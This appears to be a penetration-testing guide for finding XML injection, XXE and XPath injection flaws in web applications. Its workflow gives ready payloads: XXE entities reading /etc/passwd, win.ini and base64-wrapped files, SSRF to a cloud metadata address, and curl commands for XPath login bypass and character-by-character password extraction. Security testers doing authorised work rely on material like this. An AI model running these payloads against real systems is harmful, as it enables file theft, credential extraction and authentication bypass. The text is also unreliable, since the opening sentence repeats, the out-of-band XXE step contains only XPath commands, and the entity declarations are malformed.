Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.
Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.
When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)
During penetration testing of applications with XML parsers
When assessing SAML-based authentication implementations
When testing file import/export functionality that handles XML formats
During API security testing of SOAP or XML-based web services
How to CONFIRM a Hit (avoid false negatives)
The positive signal is the injected XML being parsed as structure, not echoed as text: your injected node/attribute changes the parsed document (a closed tag breaks the surrounding element and the parser reports a structure error, or your extra element is reflected as a real field in the response). For XPath, the positive signal is a logic differential — ' or '1'='1 returns more/all records or logs you in versus a benign value.
Distinguish XML injection from XXE: classic XML injection = breaking/adding markup in the document body and seeing it parsed; XXE = an external/parameter ENTITY resolving (file contents, or an OOB DNS/HTTP callback). If you injected an entity, the proof is the entity VALUE appearing or the OOB hit firing — not a 200.
For blind XXE/XPath, OOB is the only reliable confirmation: host an external DTD or use a Collaborator/interact.sh host and confirm the inbound DNS/HTTP request.
Do NOT conclude negative until you have tried ALL of these:
A structure-breaking probe (</tag><injected>, unbalanced quotes) to prove the input reaches the parser.
Entity-based file read (file:///etc/passwd, php://filter/...base64) AND out-of-band parameter-entity exfiltration when output is not reflected.
SSRF via entity (http://169.254.169.254/...) to confirm server-side fetch even when file read is blocked.
Content-Type swaps: send the body as application/xml/text/xml/application/soap+xml, and try converting a JSON endpoint to XML (Content Type Converter).
XPath boolean/length probes (' or string-length(...)=N or ''=') for blind XPath.
File-format vectors: SVG, DOCX/XLSX, SAML assertions that are parsed server-side.
A reflected-but-unparsed payload (your tags shown as escaped text) is NOT a hit — require evidence the parser acted on it.
Prerequisites
Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)
XMLLint or similar XML validation tools
Understanding of XML structure, DTDs, and entity processing
Python 3.x with lxml and requests libraries
Access to an out-of-band interaction server (Burp Collaborator, interact.sh)
Sample XXE payloads from PayloadsAllTheThings repository
Workflow
Step 1 — Identify XML Processing Endpoints
# Look for endpoints accepting XML content types# Content-Type: application/xml, text/xml, application/soap+xml# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl
# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><test>hello</test></root>'# Check for XML file upload functionality# Look for .xml, .svg, .xlsx, .docx file processing
Step 2 — Test for Basic XXE (File Retrieval)
<!-- Basic XXE to read local files --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [
<!ENTITY xxeSYSTEM"file:///etc/passwd">
]><root><data>&xxe;</data></root><!-- Windows file retrieval --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [
<!ENTITY xxeSYSTEM"file:///c:/windows/win.ini">
]><root><data>&xxe;</data></root><!-- Using PHP wrapper for base64-encoded file content --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [
<!ENTITY xxeSYSTEM"php://filter/convert.base64-encode/resource=/etc/passwd">
]><root><data>&xxe;</data></root>
Step 3 — Test for Blind XXE with Out-of-Band Detection
# Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"# XPath authentication bypass
curl -X POST http://target.com/login \
-d "username=' or '1'='1&password=' or '1'='1"# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"
